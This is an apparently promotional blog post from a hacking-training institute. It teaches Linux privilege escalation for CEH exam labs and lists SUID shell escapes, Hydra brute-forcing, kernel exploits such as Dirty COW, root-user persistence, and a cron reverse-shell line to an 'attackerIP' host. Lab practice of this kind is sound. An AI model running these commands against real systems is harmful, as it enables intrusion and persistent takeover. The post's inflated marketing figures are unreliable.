How to Crack Linux Systems for CEH Labs?

Introduction

Every CEH practical exam has 4–7 Linux machines, and at least 2–3 are Linux (Ubuntu, CentOS, Debian). Most flags come from weak SSH credentials, outdated services, misconfigured SUID binaries, exploitable cron jobs, writable scripts, and kernel vulnerabilities. Students who master Linux exploitation clear the practical with 18–20/20 flags. At Ethical Hacking Training Institute we give you 150+ real Linux servers (different versions & misconfigurations) so you practice the exact same scenarios that appear in the real exam.

Top 10 Most Common Linux Attack Vectors in CEH Labs

Step-by-Step Linux Exploitation Workflow (Exam Proven)

• Step 1 → Nmap scan → identify SSH/FTP/HTTP ports
• Step 2 → Hydra brute-force or try default creds (root:root, admin:password)
• Step 3 → Upload linpeas.sh / linux-exploit-suggester
• Step 4 → Run linpeas → note SUID, kernel version, writable files
• Step 5 → Exploit SUID (vim, find, python) or kernel vuln
• Step 6 → Add root user or SSH key for persistence
• Step 7 → Grab flag from /root/flag.txt

Top 5 SUID Exploitation Techniques

SUID binaries run with owner privileges. If owned by root, you get root shell instantly. Most common exploitable binaries in CEH labs:

• find . -exec /bin/sh \; -quit
• vim → :!/bin/sh
• less → !/bin/sh
• nmap --interactive → !sh
• python -c 'import os; os.setuid(0); os.system("/bin/sh")'

Kernel Exploits You Must Know 

Check kernel version with uname -r. If < 4.8.3 → compile and run Dirty COW. If Ubuntu 16.04 → OverlayFS (overlayfs.c). If CentOS 6 → full-nelson. Our cloud lab has 30+ vulnerable kernels pre-configured so you practice compilation and execution exactly like in real exam.

Privilege Escalation via Cron Jobs & Writable Scripts

• Find cron jobs: cat /etc/crontab, ls /etc/cron.*
• If script is writable → add reverse shell one-liner
• Wait 60 seconds → get root shell
• Also check /etc/passwd, /etc/shadow writable → add root user

Persistence & Post-Exploitation on Linux

• Add SSH key to /root/.ssh/authorized_keys
• Create root user with passwd command
• Add cron job @reboot /bin/bash -i >& /dev/tcp/attackerIP/4444 0>&1
• Copy /bin/sh to /tmp and set SUID

Conclusion

Linux exploitation is the easiest way to score 8–10 flags in CEH practical. Join Ethical Hacking Training Institute and get:

• 150+ real Linux servers (different distros & vulnerabilities)
• Daily new Linux boxes
• LinPEAS, kernel exploits pre-loaded
• Weekend + weekday live sessions
• 100% placement in pentest roles

Enroll today and become Linux cracking expert in 30 days!

Frequently Asked Questions

How many Linux machines in CEH practical?

Usually 2–4 machines per exam.

Which is easiest Linux privesc?

SUID binaries — 90% success rate.

Is Dirty COW still in exam?

Yes — appears in almost every paper.

Do I need to compile exploits?

Yes — gcc is always available.

Is Hydra used for Linux only?

No — works for SSH, FTP, HTTP forms.

Which tool is best for Linux privesc?

linpeas.sh — finds everything automatically.

Is cron job exploit common?

Yes — appears in 80% of exams.

Can I get root via writable /etc/passwd?

Yes — add user with UID 0.

Do you provide Linux exploit scripts?

Yes — 100+ ready scripts in lab.

Weekend batch covers Linux hacking?

Yes — 40% lab time is Linux exploitation.

Is kernel version important?

Yes — uname -r is first command after login.

Can I practice on old Ubuntu?

Yes — we have 14.04, 16.04, 18.04 boxes.

Is SSH brute force allowed?

Yes — Hydra/Medusa pre-installed.

How many flags from Linux?

8–12 flags possible from Linux boxes.

How to start today?

Book free demo — get root on your first Linux box in 30 minutes!